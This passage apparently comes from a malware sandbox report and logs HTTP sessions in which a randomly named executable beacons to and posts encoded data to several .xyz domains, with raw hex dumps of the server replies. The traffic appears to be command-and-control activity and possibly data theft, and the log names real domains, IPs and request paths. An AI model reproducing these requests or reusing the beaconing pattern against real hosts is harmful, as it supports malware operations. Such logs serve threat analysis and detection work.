JZfd=U2atAQeY8qVFAQ+GoTiuQCcBULgBVLc2xxTpKL7q/hMsyuFagu6FgwqI09kVCUPm/9O+kzC3i0tGagsbOCM2A1OEVVqNd+62xiFehYL/SI5ZJmhVxwaK6oa/AhdPhCmfOKuwEiNjgIarxchF+myZmPBtIJwWirF5zNkPU7sJC5WykEfnyJV2cXU66iw6NETM3jdDay0LcTbaQA1RZShhSi7KI9cVB5pcyKzWCmy07ugu7W191H9e6rTUyMQ0PlHjw0sACmIGQpXbSG/KkXMHA71m3qB5A0vSZr06cWTWiiGISkFtUMiWHttOhjrjeC4Inp/GqQNRGwlBUtCFhiw5rvMl0j++5Fr6h3TIbkCGHHw0XFHNXYD5eZ145dKICFBYMcxRgZyPCvrefz5pQBw6jMKG0ZwfhtehNA23faB8jtFJe3haDpPRhvbzoMz2cxTGc8HPcUun+WA8F65mi4HYdA6CUIneNsTjJeYl5Q/oorE7yd2QcrrbVYDXzkLYqyNdk3wtVxC4PJvukfso5ut2eJtxnz3jumKxjCyKxZ3j/NTNbGKjyCRDEJzyQDIbWwh5G2pRySwbKOdWDBcwjuYiXVdqnWPCntokHpNZ3pzm4cnXe1jzxHF8s8iQFS0MqcKET7gsDOJHGISFPJa3ep3NBRhQyYR9PxN/PVV+jk/YSFycvK6vhcSw1a/cRMWqdxMVVOuOBcWF8m98QeIWvLRRWKiyW6zuUwGOgGJRnecJf2qLRlmrPGDN8lb4m0pM6ypDCMsb1oOM7Y/jG8cMmRA+vywE7mq0oBzFdwAuyFyCAKmz/tS6YVBW33IjotFL386IguESGKQu+nz5MSrx77r76i9aThgMPVNsyudBEPImZVkuEEZ8s+2LN1f5jNORg3pYFkme19L04MEb6p9VDpc5YSyKETLJWw3UusjPcChWCShjAvjY1n7qdNxne7dSKj3lOQPr7M61UKg78nJUzmmwgHyma278Kk1vDRgPOgN4KixXIqi [TRUNCATED]
Feb 18, 2025 08:15:42.251498938 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	52619	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:44.341515064 CET	571	OUT	GET /ajxq/?JZfd=Z0yNDnK53JgtMSLt/Q+dSz0HWqwkNuop0AL5Lrb95TYezZcCk+GBjjC2rO5AP3na8OTPjj2cyURwNj0Uenp5Hjv5SXrtYK2BmGwEpYXvWphiXX161SqTvYw=&28t=_DlH9FNpJbu HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.physicsbrain.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Feb 18, 2025 08:15:44.792871952 CET	377	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 18 Feb 2025 07:15:44 GMT content-length: 256 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4a 5a 66 64 3d 5a 30 79 4e 44 6e 4b 35 33 4a 67 74 4d 53 4c 74 2f 51 2b 64 53 7a 30 48 57 71 77 6b 4e 75 6f 70 30 41 4c 35 4c 72 62 39 35 54 59 65 7a 5a 63 43 6b 2b 47 42 6a 6a 43 32 72 4f 35 41 50 33 6e 61 38 4f 54 50 6a 6a 32 63 79 55 52 77 4e 6a 30 55 65 6e 70 35 48 6a 76 35 53 58 72 74 59 4b 32 42 6d 47 77 45 70 59 58 76 57 70 68 69 58 58 31 36 31 53 71 54 76 59 77 3d 26 32 38 74 3d 5f 44 6c 48 39 46 4e 70 4a 62 75 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?JZfd=Z0yNDnK53JgtMSLt/Q+dSz0HWqwkNuop0AL5Lrb95TYezZcCk+GBjjC2rO5AP3na8OTPjj2cyURwNj0Uenp5Hjv5SXrtYK2BmGwEpYXvWphiXX161SqTvYw=&28t=_DlH9FNpJbu"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	52656	162.0.231.203	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:49.852987051 CET	834	OUT	POST /rvdc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.infiniteve.xyz Origin: http://www.infiniteve.xyz Referer: http://www.infiniteve.xyz/rvdc/ Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 31 51 36 59 37 70 69 47 6e 42 6c 69 4f 39 41 66 65 79 59 49 42 57 41 74 55 4a 34 61 46 4e 4f 5a 77 79 36 55 50 71 49 61 5a 4c 47 72 2b 65 31 37 2f 69 46 6d 6e 74 6f 72 39 57 57 55 65 73 37 43 64 66 4d 58 54 50 37 69 73 31 68 36 48 6f 6e 78 66 6c 48 75 50 34 30 64 4a 2f 2f 4f 41 4b 57 41 67 6f 4e 54 48 39 77 71 6c 44 62 76 2f 4b 76 41 4e 4f 43 6d 71 37 6f 57 52 6c 75 68 31 36 62 68 58 30 79 46 71 31 51 43 51 52 77 47 6a 47 54 53 49 30 39 5a 74 68 79 54 6a 4c 42 50 4b 53 7a 52 6b 6c 30 32 68 5a 34 62 35 71 71 4d 6a 34 43 48 6b 53 72 46 4a 74 47 6a 59 4f 2b 49 5a 68 31 50 4c 67 3d 3d Data Ascii: JZfd=1Q6Y7piGnBliO9AfeyYIBWAtUJ4aFNOZwy6UPqIaZLGr+e17/iFmntor9WWUes7CdfMXTP7is1h6HonxflHuP40dJ//OAKWAgoNTH9wqlDbv/KvANOCmq7oWRluh16bhX0yFq1QCQRwGjGTSI09ZthyTjLBPKSzRkl02hZ4b5qqMj4CHkSrFJtGjYO+IZh1PLg==
Feb 18, 2025 08:15:50.452797890 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Feb 2025 07:15:50 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	52657	162.0.231.203	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:52.394565105 CET	854	OUT	POST /rvdc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.infiniteve.xyz Origin: http://www.infiniteve.xyz Referer: http://www.infiniteve.xyz/rvdc/ Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 31 51 36 59 37 70 69 47 6e 42 6c 69 4e 64 51 66 62 56 30 49 56 47 41 75 62 70 34 61 50 74 50 65 77 79 6d 55 50 72 4d 73 65 35 53 72 35 2b 6c 37 6c 6e 70 6d 33 39 6f 72 6c 6d 57 72 61 73 37 64 64 66 49 78 54 4c 37 69 73 31 46 36 48 70 58 78 63 57 76 76 4e 6f 30 62 50 2f 2f 32 45 4b 57 41 67 6f 4e 54 48 39 6b 45 6c 44 7a 76 2f 36 2f 41 43 50 43 6c 30 4c 6f 58 53 6c 75 68 6a 4b 62 6c 58 30 79 37 71 78 52 58 51 55 30 47 6a 48 6a 53 49 46 39 61 6e 68 79 76 6e 4c 41 72 61 67 57 66 71 6b 52 47 6f 4a 77 33 2f 37 58 74 76 65 50 64 31 6a 4b 53 62 74 69 51 46 4a 33 38 55 69 49 47 51 73 4d 4d 48 58 2f 63 47 63 45 65 58 52 38 39 53 35 51 67 32 77 6b 3d Data Ascii: JZfd=1Q6Y7piGnBliNdQfbV0IVGAubp4aPtPewymUPrMse5Sr5+l7lnpm39orlmWras7ddfIxTL7is1F6HpXxcWvvNo0bP//2EKWAgoNTH9kElDzv/6/ACPCl0LoXSluhjKblX0y7qxRXQU0GjHjSIF9anhyvnLAragWfqkRGoJw3/7XtvePd1jKSbtiQFJ38UiIGQsMMHX/cGcEeXR89S5Qg2wk=
Feb 18, 2025 08:15:52.974826097 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Feb 2025 07:15:52 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	52658	162.0.231.203	80

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:54.941356897 CET	10936	OUT	POST /rvdc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.infiniteve.xyz Origin: http://www.infiniteve.xyz Referer: http://www.infiniteve.xyz/rvdc/ Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 31 51 36 59 37 70 69 47 6e 42 6c 69 4e 64 51 66 62 56 30 49 56 47 41 75 62 70 34 61 50 74 50 65 77 79 6d 55 50 72 4d 73 65 35 4b 72 2b 4e 64 37 6d 45 52 6d 30 39 6f 72 6f 47 57 75 61 73 36 48 64 66 77 31 54 4c 33 59 73 33 74 36 47 4c 66 78 5a 6a 62 76 48 6f 30 62 4e 2f 2f 4e 41 4b 57 56 67 70 68 58 48 39 30 45 6c 44 7a 76 2f 2f 7a 41 4c 2b 43 6c 32 4c 6f 57 52 6c 75 74 31 36 62 64 58 30 4b 30 71 78 63 73 51 6e 38 47 6a 6e 7a 53 54 58 56 61 72 68 79 74 67 4c 41 7a 61 67 71 55 71 6b 4d 2f 6f 49 30 5a 2f 37 7a 74 6c 61 79 41 76 51 2b 4b 4d 72 4f 44 52 62 58 6e 56 77 4d 6d 59 4e 51 73 4c 56 54 7a 53 2b 46 39 4e 52 5a 4b 58 37 6b 45 74 32 68 46 56 62 4b 6f 33 6c 5a 62 38 45 59 4c 62 31 67 31 2f 6a 70 55 56 2f 37 4d 45 65 79 78 58 53 39 76 38 4a 56 69 79 74 73 44 68 7a 2f 55 72 66 65 6b 57 4f 34 4e 62 30 4d 6c 34 35 49 4f 4a 74 51 51 43 5a 6c 74 6b 74 55 41 68 68 62 65 59 31 76 6a 63 41 51 33 6c 70 68 32 5a 53 63 61 75 7a 48 62 58 35 55 43 4d 79 62 6d 6b 4d 31 56 76 53 67 49 37 65 31 73 77 [TRUNCATED] Data Ascii: JZfd=1Q6Y7piGnBliNdQfbV0IVGAubp4aPtPewymUPrMse5Kr+Nd7mERm09oroGWuas6Hdfw1TL3Ys3t6GLfxZjbvHo0bN//NAKWVgphXH90ElDzv//zAL+Cl2LoWRlut16bdX0K0qxcsQn8GjnzSTXVarhytgLAzagqUqkM/oI0Z/7ztlayAvQ+KMrODRbXnVwMmYNQsLVTzS+F9NRZKX7kEt2hFVbKo3lZb8EYLb1g1/jpUV/7MEeyxXS9v8JViytsDhz/UrfekWO4Nb0Ml45IOJtQQCZltktUAhhbeY1vjcAQ3lph2ZScauzHbX5UCMybmkM1VvSgI7e1sw5XQveACsXWqaDs3iclrE5b75mVlnF2CG0+m20u78WC/kzdbeEd9icmwWLfVD7qZYcdK9Zar+n7BmTDesV0D/evc247pyt26OGyVBvUNMxAUI7EcuSx31IjLXRS95j+ITwua0tsk6ai781/FC7yiGRLHxpfCwFE/0DhqueAagbk7zK7D8AtdNER902uBHenwR2VSwX2cOpys8Ecpjb7zuZXXKPGwwsOcwJf0s8KElTKOpQjiAgvZ/SL4Uj+hakOTpcnJFVJxRgbQD2WWD8KQ2hlkGR0HfQkjdwCp9WkbXDtV1L6M835S4p3B/RSqWMENheWFu6ecEreM+0X7gLvKDZ0yNHStpKHMwr+KS9r3wO09m4kxEHV1xY0zMQYNpjduT+NYvzUr3Gq+HY/JTDfz6I8NN2N/kQBOPJO6yU8s7Tmm7FBue+0RZ2KMdLDaNX4+NhqEuZF2bIaxwam49UjR4cC0f1moGtqQDxVzzRapfGtsbxi2v9II0tWZXRwbE3/R3e4poLJ2sNmG4SHjJOQe9hBC9U0jtoQYwvHK7I3g8shTftW+XfOLapD3haf4t+j1o9T6D3jiA5TM1F/z8X/Zs203UK8QSe29AANtv/Yuk1ZQ5XuD/1L0RdDLXUkwm/eNfLv6Qk6csDb7NdCJnPMHSj5rRr5ycKd5GsI [TRUNCATED]
Feb 18, 2025 08:15:55.550357103 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Feb 2025 07:15:55 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	52659	162.0.231.203	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:57.481786966 CET	569	OUT	GET /rvdc/?JZfd=4SS44dSHix1qeqRpZ30sUGwaRLQ6PL636AaAeL4eRpehwv4hyktLqvMv9AyoVvbLe7Ilavn5wnoOWJ/fZmmrIfslJ8D6BKaSqIEkHtgn+Cj3tNriNM+Lp4c=&28t=_DlH9FNpJbu HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.infiniteve.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Feb 18, 2025 08:15:58.060925961 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Feb 2025 07:15:57 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	52660	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:03.216617107 CET	840	OUT	POST /mvfs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.weilaishijie.xyz Origin: http://www.weilaishijie.xyz Referer: http://www.weilaishijie.xyz/mvfs/ Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 44 56 57 33 46 77 31 74 4c 68 71 79 75 54 79 2b 68 58 6b 4a 5a 51 47 5a 79 42 4f 4c 6e 78 4e 66 7a 2b 77 45 30 62 69 44 32 4c 35 69 4a 49 70 77 46 62 77 38 64 67 56 57 61 43 70 74 71 76 76 61 69 41 67 38 64 47 6f 6c 43 62 63 36 36 61 76 43 59 6d 71 44 65 65 70 65 66 75 63 39 59 30 53 63 4b 6c 37 64 33 68 79 57 41 55 33 31 42 66 4d 32 51 4a 49 46 65 2b 39 61 6f 52 6f 38 68 36 32 6d 4d 44 79 30 63 71 61 66 4d 6c 37 6f 35 64 6a 6e 51 51 69 2f 68 6c 4c 49 51 65 74 69 76 41 46 2b 72 43 79 34 4b 31 6f 66 65 65 45 78 42 78 6d 76 79 58 38 42 77 6c 35 66 4d 34 6f 64 76 43 6a 56 64 67 3d 3d Data Ascii: JZfd=DVW3Fw1tLhqyuTy+hXkJZQGZyBOLnxNfz+wE0biD2L5iJIpwFbw8dgVWaCptqvvaiAg8dGolCbc66avCYmqDeepefuc9Y0ScKl7d3hyWAU31BfM2QJIFe+9aoRo8h62mMDy0cqafMl7o5djnQQi/hlLIQetivAF+rCy4K1ofeeExBxmvyX8Bwl5fM4odvCjVdg==
Feb 18, 2025 08:16:03.676928043 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	52661	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:05.771408081 CET	860	OUT	POST /mvfs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.weilaishijie.xyz Origin: http://www.weilaishijie.xyz Referer: http://www.weilaishijie.xyz/mvfs/ Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 44 56 57 33 46 77 31 74 4c 68 71 79 76 77 36 2b 6a 30 4d 4a 65 77 47 61 32 78 4f 4c 74 52 4e 62 7a 2b 38 45 30 66 36 54 32 39 42 69 49 70 5a 77 47 5a 49 38 55 77 56 57 53 69 6f 6c 79 50 76 54 69 41 73 30 64 48 45 6c 43 62 49 36 36 62 66 43 5a 56 79 4d 66 4f 70 59 53 4f 63 2f 47 45 53 63 4b 6c 37 64 33 68 33 4c 41 55 66 31 47 73 55 32 52 6f 49 43 64 2b 39 46 2f 68 6f 38 6c 36 33 74 4d 44 79 43 63 72 47 78 4d 6e 44 6f 35 64 54 6e 52 42 69 77 6f 6c 4c 30 65 2b 73 68 68 67 67 76 75 43 53 35 56 57 59 4b 42 63 31 58 4a 58 72 31 6a 6d 64 57 69 6c 64 73 52 2f 68 70 69 42 65 63 47 6d 61 51 2f 41 69 37 6b 76 50 39 5a 49 4e 76 57 65 71 7a 64 78 4d 3d Data Ascii: JZfd=DVW3Fw1tLhqyvw6+j0MJewGa2xOLtRNbz+8E0f6T29BiIpZwGZI8UwVWSiolyPvTiAs0dHElCbI66bfCZVyMfOpYSOc/GEScKl7d3h3LAUf1GsU2RoICd+9F/ho8l63tMDyCcrGxMnDo5dTnRBiwolL0e+shhggvuCS5VWYKBc1XJXr1jmdWildsR/hpiBecGmaQ/Ai7kvP9ZINvWeqzdxM=
Feb 18, 2025 08:16:06.212783098 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	52662	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
